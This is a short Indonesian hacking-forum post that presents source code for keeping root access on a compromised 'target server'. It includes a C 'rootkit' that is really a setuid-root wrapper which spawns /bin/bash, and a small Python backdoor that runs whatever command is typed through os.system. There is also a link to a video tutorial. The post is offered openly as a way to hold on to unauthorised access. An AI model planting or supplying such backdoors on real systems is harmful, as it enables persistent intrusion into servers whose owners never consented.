03-06-2017, 04:49 PM
Hallo, lama gak main diforum ini. Hari ini saya akan sharing bagaimana mempertahankan akses root pada server target dengan rootkit.c dan backdoor.py.
Source code rootkit.c
Source code backdoor.py
Link Video Tutorial : https://www.youtube.com/watch?v=cVz9e6u44YQ
Source code rootkit.c
Code:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
if (setuid(0)) {
perror("setuid");
return 1;
}
system("/bin/bash");
return 0;
}
Source code backdoor.py
Source code backdoor.py
Code:
import sys
from os import system as _system
def banner():
print "################################################"
print "# #"
print "############## Simple Backdoor ############"
print "# #"
print "################################################\n"
sys.stdout.flush()
def backdoor():
print "Command : ",
sys.stdout.flush()
command = raw_input()
output = _system(command)
print "%s" % output
sys.stdout.flush()
if __name__ == "__main__":
banner()
backdoor()
Link Video Tutorial : https://www.youtube.com/watch?v=cVz9e6u44YQ